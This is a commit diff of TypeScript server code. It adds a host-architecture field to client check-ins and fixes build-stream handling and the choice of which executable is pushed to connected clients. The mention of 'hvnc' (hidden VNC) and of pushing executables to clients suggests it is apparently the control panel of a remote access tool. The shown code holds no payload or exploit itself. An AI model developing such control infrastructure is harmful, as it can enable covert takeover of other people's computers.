fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
@@ -23,6 +23,7 @@ export type Hello = {
|
||||
host: string;
|
||||
os: string;
|
||||
arch: string;
|
||||
hostArch?: string;
|
||||
version: string;
|
||||
user: string;
|
||||
monitors: number;
|
||||
|
||||
@@ -190,20 +190,23 @@ export async function startBuildProcess(
|
||||
logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
|
||||
}
|
||||
|
||||
build.controllers.forEach((controller) => {
|
||||
const alive: ReadableStreamDefaultController[] = [];
|
||||
for (const controller of build.controllers) {
|
||||
try {
|
||||
controller.enqueue(encoded);
|
||||
} catch (err) {
|
||||
logger.error("[build] Failed to send to stream:", err);
|
||||
alive.push(controller);
|
||||
} catch {
|
||||
}
|
||||
});
|
||||
}
|
||||
build.controllers.length = 0;
|
||||
build.controllers.push(...alive);
|
||||
|
||||
if (data.type === "complete") {
|
||||
build.controllers.forEach((controller) => {
|
||||
for (const controller of build.controllers) {
|
||||
try {
|
||||
controller.close();
|
||||
} catch {}
|
||||
});
|
||||
}
|
||||
build.controllers.length = 0;
|
||||
}
|
||||
};
|
||||
|
||||
@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
|
||||
continue;
|
||||
}
|
||||
const clientOs = client.os?.toLowerCase() || "";
|
||||
const clientArch = client.arch?.toLowerCase() || "";
|
||||
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
|
||||
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||
if (!targetPlatforms.has(clientPlatform)) {
|
||||
skippedNoMatch++;
|
||||
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
|
||||
}
|
||||
|
||||
const clientOs = client.os?.toLowerCase() || "";
|
||||
const clientArch = client.arch?.toLowerCase() || "";
|
||||
const clientArch = (client.hostArch || client.arch || "").toLowerCase();
|
||||
const clientPlatform = `${clientOs}-${clientArch}`;
|
||||
const buildFile = buildPlatforms.get(clientPlatform);
|
||||
if (!buildFile) {
|
||||
|
||||
@@ -16,6 +16,7 @@ export type ClientInfo = {
|
||||
host?: string;
|
||||
os?: string;
|
||||
arch?: string;
|
||||
hostArch?: string;
|
||||
version?: string;
|
||||
user?: string;
|
||||
nickname?: string;
|
||||
|
||||
@@ -128,6 +128,7 @@ export async function handleHello(
|
||||
info.host = sanitizeInfoString(payload.host);
|
||||
info.os = sanitizeInfoString(payload.os);
|
||||
info.arch = sanitizeInfoString(payload.arch, 32);
|
||||
info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch;
|
||||
info.version = sanitizeInfoString(payload.version, 64);
|
||||
info.user = sanitizeInfoString(payload.user);
|
||||
info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;
|
||||
|
||||
Reference in New Issue
Block a user